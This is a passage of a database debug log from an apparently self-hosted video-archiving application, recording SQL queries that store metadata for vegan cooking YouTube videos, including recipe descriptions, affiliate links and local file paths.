tofu cubes in the rice flour, then aquafaba, then roll in the bread crumbs and place on a baking tray or air fryer basket.\n4. Repeat with all the remaining cubes. Airy fry for 16 to 18 minutes at 425°F or bake at 450°F for 22 minutes, until golden and crispy.\n\n2️⃣ Crispy Baked Herby Chickpeas\n2 12-oz cans of chickpeas, drained, rinsed and towel dried\n½ tsp garlic powder\n½ tsp paprika\n½ tsp thyme\n½ tsp black pepper\n½ tsp parsley\n½ salt\n1 tsp oil\n\n1. Add the chickpeas to a mixing bowl, followed by the spices and oil. Toss the chickpeas until they're well coated in the spiced, then transfer to a baking tray.\n2. Arrange the chickpeas in a single layer then bake for 30 to 35 minutes at 400°F until golden and crispy.\n\nCARBS\n1️⃣ Spiced Yams & Potatoes\n1 large yam\n1½ lbs russet potatoes\nSPICES: ½ tsp cinnamon, 1 tsp garlic powder, 1 tsp sumac, ½ salt, ½ pepper\n1 tbsp oil\n\n1. Wash and dry both the yam and potatoes, leaving the skins on. Chop them up into roughly 2 inch cubes and arrange in a single layer on a large baking tray.\n2. Add the spices and oil and toss the veg with your hands to coat.\n3. Bake for 40 minutes at 400°F until golden and fork tender.\n\n2️⃣ Brown Rice\nCook 2 to 3 cups of brown rice according to package directions.\n\nSTORING YOUR MEAL PREPPED FOOD\n\n1. Separate your food into different resealable containers and keep in the fridge. When it's time to eat, simply mix and match your proteins, carbs and veggies in a bowl and heat up. Easy peasy!\n\nRANCH DRESSING RECIPE MENTIONED IN THIS VIDEO ⬇️\nhttps://steamyvegan.com/bbq-ranch-po" <> ..., "Vegan Meal Prep! Full week of dinners in under 2 hours", "0c4c2e64-85d8-4685-bd5b-310bb97a4959", 1, [], false, "Xt8HzdNkIqk", "https://www.youtube.com/watch?v=Xt8HzdNkIqk", 270, "/downloads/downloads/alec/Steamy Vegan/2023-09-06 Vegan Meal Prep! Full week of dinners in under 2 hours/Vegan Meal Prep! Full week of dinners in under 2 hours [Xt8HzdNkIqk].NA", false, false, false, 1, ~U[2023-09-06 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here's how I do easy vegan meal prep for the week! If you don’t like having to cook dinner every day of the week, I’m here to help. I’m going to show you how easy it is to meal prep some delicious and balanced dinner bowls. I’ll show you how to prepare some veggies dishes, plant-based proteins and healthy carbs so you can have lots of variety in your week while keeping it nutritionally balanced. \n\nBy using simple yet hearty ingredients we were able to create tons of different meals to enjoy throughout the week that will keep you feeling satisfied with lots of room for creativity.\n\nWATCH MY MEAL PREP PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nWHAT I MADE\n\nVEGGIES\n1️⃣ Curried Sheet Pan Veggies\n3 Bell peppers, 1 onion, 4 carrots, ½ head of cauliflower\n1 tbsp oil\nSPICES: 1 tsp curry powder, 1 tsp garam masala, 1 tsp garlic powder, 1 tsp chilli powder, ½ tsp salt\n\n1. Wash and roughly chop all of your veggies and arrange them on 2 large sheet pans. Mix and add the spices plus drizzle the oil over the veggies. \n2. Toss the veggies on the sheet pan using your hands to evenly coat them with the spices. Bake at 400°F for 40 minutes, until golden and fork tender, rotating the trays halfway through baking.\n\n2️⃣ Balsamic Roasted Eggplant Steaks\n3 globe eggplants\n2 tbsp balsamic vinegar\n1 tbsp sesame oil\nsalt\n\n1. Salt the eggplants to draw out extra moisture: Cut the eggplants in half lengthwise. Generously salt the fleshy insides and then place them face down on a drying/cooling rack. Leave them for 30 minutes (and move onto the other steps below while you're waiting).\n2. Once they've dripped out some liquid, rinse them well and pat them dry with a towel. \n3. In a small bowl mix the balsamic vinegar and sesame oil. Cut a cross-hatch pattern on the flat side of the eggplant steaks and generously brush the glaze over. \n4. Place the eggplant steaks face down on a baking tray and bake for 30-35 minutes until golden and caramelized, flipping them over halfway through cooking time.\n\nPROTEINS\n1️⃣ Crispy Breaded Tofu\n2 blocks extra firm tofu, patted dry\nAquafaba (chickpea liquid) from 1 can of chickpeas\n⅔ cup walnuts\n½ cup almond flour\n2 tbsp sesame seeds\n1 tsp garlic powder\n½ tsp salt\n¾ cup brown rice flour\n\n1. Add the walnuts, almond flour, sesame seeds, garlic powder and salt to a food processor and process until its a coarse, mealy texture similar to breadcrumbs.\n2. Cube 2 blocks of extra firm tofu into chunks. Add the rice flour, breadcrumbs and aquafaba into 3 separate, deep bowls.\n3. One by one, c (truncated) 20:31:08.098 [debug] QUERY OK source="sources" db=0.9ms idle=12.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.103 [debug] QUERY OK source="media_items" db=3.8ms idle=12.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-03 00:00:00Z], 1] 20:31:08.109 [debug] QUERY OK source="media_items" db=5.8ms idle=13.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready for Back to School or work with these easy vegan breakfast ideas! These healthy vegan breakfast recipes are all meal-prep friendly, budget-friendly, gluten-free, packable and great on-the-go! Perfect recipes for beginner vegans and students.\n\nCHECK OUT MY OTHER PLAYLISTS BELOW! ⬇️\nBREAKFAST: \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nMEAL PREP: \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\nWHAT I EAT IN A DAY: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO:\n\n1. Banana Bread Breakfast Sandwich\nFull recipe for my banana bread here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Banana\u00A0Bread!\u00A0🍌🍞\u00A0How\u00A0to\u00A0make\u00A0vegan\u00A0g...\u00A0\u00A0\nfor the sandwich:\n2 thin slices of banana bread\n2 tbsp peanut butter\nhalf a peach, sliced (or use any fruit; banana, apples, strawberries, etc)\nsprinkle of cinnamon\n1 tsp hemp seeds\n\nSpread the peanut butter on the insides of both banana bread slices. Sprinkle on the cinnamon over one slice, and the hemp seeds on the other. Add the sliced peaches, close the sandwich and ENJOY!\n\n2. PB & J Smoothie Cubes\n1 cup Fresh/frozen strawberries\n1½ tbsp chia seeds\n1½ tbsp flax seeds\n1 cup frozen blueberries\n2 medjool dates (or 2 tbsp date paste)\n2 cups plant milk\n2 tbsp peanut butter\n\nBlend all ingredients (minus peanut butter) in a high speed blender until sooth and completely blended). Pour smoothie into 2 ice cube trays and freeze 4 to 5 hours or overnight. \nTo make a smoothie in the morning, add 6 to 7 smoothie cubes to the blender, add 1½ cups milk or water to blend. Drizzle peanut butter in your smoothie cup and then pour in your smoothie, ENJOY!\n\n3. Black Bean Breakfast Tostada\n2 corn tostadas (or bake/air fry 2 corn tortillas until crisp and golden, 400°F for 3 mins)\n⅓ cup canned black beans, drained and rinsed\n⅓ cup shredded vegan cheese (more or less depending on your preference)\n¼ cup salsa\n¼ of a ripe avocado, sliced\ngreens for garnish\n\nSprinkle cheese shreds on both tostadas. Air fry for 2 minutes at 400°F until its melted and bubbly. Layer on the beans, salsa, avocado and greens and ENJOY!\n\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Breakfast Meal Prep | Quick & Budget-Friendly", "f87837f7-ec73-4d84-88e5-569a7a870ecc", 1, [], false, "jcV50KbHu6k", "https://www.youtube.com/watch?v=jcV50KbHu6k", 271, "/downloads/downloads/alec/Steamy Vegan/2023-09-03 Vegan Breakfast Meal Prep | Quick & Budget-Friendly/Vegan Breakfast Meal Prep | Quick & Budget-Friendly [jcV50KbHu6k].NA", false, false, false, 1, ~U[2023-09-03 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Get ready for Back to School or work with these easy vegan breakfast ideas! These healthy vegan breakfast recipes are all meal-prep friendly, budget-friendly, gluten-free, packable and great on-the-go! Perfect recipes for beginner vegans and students.\n\nCHECK OUT MY OTHER PLAYLISTS BELOW! ⬇️\nBREAKFAST: \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nMEAL PREP: \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\nWHAT I EAT IN A DAY: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO:\n\n1. Banana Bread Breakfast Sandwich\nFull recipe for my banana bread here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Banana\u00A0Bread!\u00A0🍌🍞\u00A0How\u00A0to\u00A0make\u00A0vegan\u00A0g...\u00A0\u00A0\nfor the sandwich:\n2 thin slices of banana bread\n2 tbsp peanut butter\nhalf a peach, sliced (or use any fruit; banana, apples, strawberries, etc)\nsprinkle of cinnamon\n1 tsp hemp seeds\n\nSpread the peanut butter on the insides of both banana bread slices. Sprinkle on the cinnamon over one slice, and the hemp seeds on the other. Add the sliced peaches, close the sandwich and ENJOY!\n\n2. PB & J Smoothie Cubes\n1 cup Fresh/frozen strawberries\n1½ tbsp chia seeds\n1½ tbsp flax seeds\n1 cup frozen blueberries\n2 medjool dates (or 2 tbsp date paste)\n2 cups plant milk\n2 tbsp peanut butter\n\nBlend all ingredients (minus peanut butter) in a high speed blender until sooth and completely blended). Pour smoothie into 2 ice cube trays and freeze 4 to 5 hours or overnight. \nTo make a smoothie in the morning, add 6 to 7 smoothie cubes to the blender, add 1½ cups milk or water to blend. Drizzle peanut butter in your smoothie cup and then pour in your smoothie, ENJOY!\n\n3. Black Bean Breakfast Tostada\n2 corn tostadas (or bake/air fry 2 corn tortillas until crisp and golden, 400°F for 3 mins)\n⅓ cup canned black beans, drained and rinsed\n⅓ cup shredded vegan cheese (more or less depending on your preference)\n¼ cup salsa\n¼ of a ripe avocado, sliced\ngreens for garnish\n\nSprinkle cheese shreds on both tostadas. Air fry for 2 minutes at 400°F until its melted and bubbly. Layer on the beans, salsa, avocado and greens and ENJOY!\n\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\ (truncated) 20:31:08.111 [debug] QUERY OK source="sources" db=0.9ms idle=17.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.113 [debug] QUERY OK source="media_items" db=2.2ms idle=15.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-30 00:00:00Z], 1] 20:31:08.116 [debug] QUERY OK source="media_items" db=1.7ms idle=15.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here’s what I eat in a day as a vegan! Healthy, high-protein meal prep recipes that are incredibly satisfying, low calorie and simply delicious. By meal prepping tons of veggies, grains and proteins to keep in my fridge I am way more likely to feel motivated to create simple, healthy meals. All you need is an hour or 2 on a Sunday and your future self will be so glad for all the healthy plant-based options readily available. \n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nCheck out my entire WHAT I EAT playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nCrunchy Cashew Noodle Salad: https://steamyvegan.com/crunchy-cashe...\nThe BEST Chocolate Chip Cookies: https://steamyvegan.com/healthy-choco... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances\u00A0Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid\u00A0Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\nThematic Music I Used:\nFree Music for Videos 👉 Music by Reggie San Miguel - Day by Day - https://thmatc.co/?l=D8CF2A74", "What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈", "cfb7b68d-ddb1-4483-840b-48779d8057df", 1, [], false, "4pSTrolU-uA", "https://www.youtube.com/watch?v=4pSTrolU-uA", 272, "/downloads/downloads/alec/Steamy Vegan/2023-08-30 What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈/What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈 [4pSTrolU-uA].NA", false, false, false, 1, ~U[2023-08-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here’s what I eat in a day as a vegan! Healthy, high-protein meal prep recipes that are incredibly satisfying, low calorie and simply delicious. By meal prepping tons of veggies, grains and proteins to keep in my fridge I am way more likely to feel motivated to create simple, healthy meals. All you need is an hour or 2 on a Sunday and your future self will be so glad for all the healthy plant-based options readily available. \n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nCheck out my entire WHAT I EAT playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nCrunchy Cashew Noodle Salad: https://steamyvegan.com/crunchy-cashe...\nThe BEST Chocolate Chip Cookies: https://steamyvegan.com/healthy-choco... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances\u00A0Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid\u00A0Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq\n\nThematic Music I Used:\nFree Music for Videos 👉 Music by Reggie San Miguel - Day by Day - https://thmatc.co/?l=D8CF2A74", "What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈", 1, nil, false, "4pSTrolU-uA", "https://www.youtube.com/watch?v=4pSTrolU-uA", "/downloads/downloads/alec/Steamy Vegan/2023-08-30 What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈/What I eat in a day as a vegan! How I meal prep: healthy, high-protein, rainbow colored meals 🌈 [4pSTrolU-uA].NA", false, ~U[2023-08-30 00:00:00Z]] 20:31:08.117 [debug] QUERY OK source="sources" db=0.6ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.120 [debug] QUERY OK source="media_items" db=2.6ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-27 00:00:00Z], 1] 20:31:08.123 [debug] QUERY OK source="media_items" db=1.8ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready for Back to School or work with these easy vegan lunch ideas! These healthy vegan lunch recipes are all meal-prep friendly, budget-friendly, gluten-free, packable and great on-the-go! Perfect recipes for beginner vegans and students.\n\nCHECK OUT MY ENTIRE LUNCH RECIPES PLAYLIST HERE! ➡️ \u00A0\u00A0\u00A0•\u00A0LUNCH\u00A0\u00A0\n\n1. Herby Cream ‘Cheese’ Sandwich \nFor the Cream Cheese\n1 block extra firm tofu, patted dry\n½ cashews soaked overnight or in boiling water for 30 minutes\n2 tbsp nutritional yeast\n2 tsp garlic powder\n½ tsp each sea salt and pepper\n2 tbsp apple cider vinegar\n2 tbsp plant milk\n1 tsp maple syrup\n⅓ cup each fresh chopped dill, parsley, basil\n1. Into the bowl a food processor crumble the tofu into large chunks. Add all the remaining ingredients except the fresh herbs and pulse a few times, then blend on high for 1 to 2 minutes until it’s a thick, smooth texture. You may need to stop to scrape down the sides once or twice.\n2. Add the chopped herbs and blend once more until they are just combined. You don’t need to pulverize them, leaving some nice herby bits is key!\n3. Make your sandwich: Generously spread the cream ‘cheese’ on both pieces of bread and add your favourite sliced veggies (I used avocado, bell pepper, zucchini and arugula). Slice and enjoy right away or pack in your lunch box for work or school. \nOptional serving suggestions: Sliced carrots, celery, bell pepper and hummus.\n\n\n2. Chickpea Ranch Potato Salad \n3 lbs. russet potatoes, washed, peeled and cubed\n1 can chickpeas, drained and rinsed\n3 tbsp ranch powder (see full recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Vegan\u00A0Summer\u00A0Salads\u00A0+\u00A03\u00A0HOMEMADE\u00A0V...\u00A0\u00A0)\n1 tbsp dijon mustard\n⅔ cup vegan mayo\n5 tbsp vegan sour cream\n¼ cup sweet green relish\n2 tsp lemon juice\n½ cup finely minced white onion\n1 to 2 tbsp plant milk to thin dressing as needed\n1. Add the chopped peeled potatoes to a large stockpot and cover with water. Bring to a boil and cook on medium-high heat until fork tender, about 10 to 12 minutes. Drain and rinse under cold water and set aside to continue cooling in a large serving bowl.\n2. Make the dressing: In a medium sized bowl add the mayo, sour cream, dijon mustard, relish, lemon juice and ranch powder and mix until well combined. \n3. To the potatoes add the chickpeas, chopped onion and ranch dressing and stir gently until the sauce is well combined. Cover the bowl with a lid or plastic wrap and chill in the fridge for at least 1 hour or preferably overnight. Keeps well in the fridge for 5 days.\nOptional serving suggestions: Bean chips and fresh orange slices (or other fruit you like)\n\n3. Zesty Black Bean Wraps\nRecipe for the Zesty Black Bean Mash on my blog: https://steamyvegan.com/zesty-black-b...\nTo make the wraps: Add a few spoonfuls of the black bean mash to a whole wheat or gluten-free tortilla and add a handful of leafy greens (I used arugula) and sliced tomatoes or red bell peppers (or any other veggie you like). Fold the tortilla into a wrap and enjoy right away or store in an airtight container for up to 3 days.\nOptional serving suggestions: Tortilla chips and Pico de Gallo (recipe for Pico here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0 )\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Easy Vegan Lunch ideas for School or Work | Meal-Prep and Budget-Friendly!", "18d67e04-a8ce-4106-8607-3c7c095e525e", 1, [], false, "HaplMHwsyyE", "https://www.youtube.com/watch?v=HaplMHwsyyE", 273, "/downloads/downloads/alec/Steamy Vegan/2023-08-27 Easy Vegan Lunch ideas for School or Work | Meal-Prep and Budget-Friendly!/Easy Vegan Lunch ideas for School or Work | Meal-Prep and Budget-Friendly! [HaplMHwsyyE].NA", false, false, false, 1, ~U[2023-08-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Get ready for Back to School or work with these easy vegan lunch ideas! These healthy vegan lunch recipes are all meal-prep friendly, budget-friendly, gluten-free, packable and great on-the-go! Perfect recipes for beginner vegans and students.\n\nCHECK OUT MY ENTIRE LUNCH RECIPES PLAYLIST HERE! ➡️ \u00A0\u00A0\u00A0•\u00A0LUNCH\u00A0\u00A0\n\n1. Herby Cream ‘Cheese’ Sandwich \nFor the Cream Cheese\n1 block extra firm tofu, patted dry\n½ cashews soaked overnight or in boiling water for 30 minutes\n2 tbsp nutritional yeast\n2 tsp garlic powder\n½ tsp each sea salt and pepper\n2 tbsp apple cider vinegar\n2 tbsp plant milk\n1 tsp maple syrup\n⅓ cup each fresh chopped dill, parsley, basil\n1. Into the bowl a food processor crumble the tofu into large chunks. Add all the remaining ingredients except the fresh herbs and pulse a few times, then blend on high for 1 to 2 minutes until it’s a thick, smooth texture. You may need to stop to scrape down the sides once or twice.\n2. Add the chopped herbs and blend once more until they are just combined. You don’t need to pulverize them, leaving some nice herby bits is key!\n3. Make your sandwich: Generously spread the cream ‘cheese’ on both pieces of bread and add your favourite sliced veggies (I used avocado, bell pepper, zucchini and arugula). Slice and enjoy right away or pack in your lunch box for work or school. \nOptional serving suggestions: Sliced carrots, celery, bell pepper and hummus.\n\n\n2. Chickpea Ranch Potato Salad \n3 lbs. russet potatoes, washed, peeled and cubed\n1 can chickpeas, drained and rinsed\n3 tbsp ranch powder (see full recipe here ➡️ 